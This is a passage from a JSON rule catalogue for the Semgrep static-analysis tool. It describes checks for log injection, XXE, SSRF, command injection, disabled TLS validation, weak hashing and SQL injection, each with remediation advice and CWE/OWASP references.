go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","id":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","name":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"help":{"markdown":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count)\n","text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count","id":"python.sqlalchemy.performance.performance-improvements.len-all-count","name":"python.sqlalchemy.performance.performance-improvements.len-all-count","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.len-all-count"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe","id":"kotlin.xxe.saxreader-xxe.saxreader-xxe","name":"kotlin.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request)\n - [https://hc.apache.org/httpcomponents-client-ga/quickstart.html](https://hc.apache.org/httpcomponents-client-ga/quickstart.html)\n","text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","id":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","name":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection)\n - [https://phantomjs.org/page-automation.html](https://phantomjs.org/page-automation.html)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection","id":"javascript.express.security.express-phantom-injection.express-phantom-injection","name":"javascript.express.security.express-phantom-injection.express-phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-phantom-injection.express-phantom-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection","id":"php.lang.security.tainted-command-injection.tainted-command-injection","name":"php.lang.security.tainted-command-injection.tainted-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-command-injection.tainted-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1)\n","text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request)\n - [https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-](https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-)\n","text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","id":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","name":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"help":{"markdown":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","id":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","name":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1)\n","text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"help":{"markdown":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5)\n - [https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575](https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575)\n","text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5","id":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","name":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-md5.weak-hashes-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","id":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","name":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL 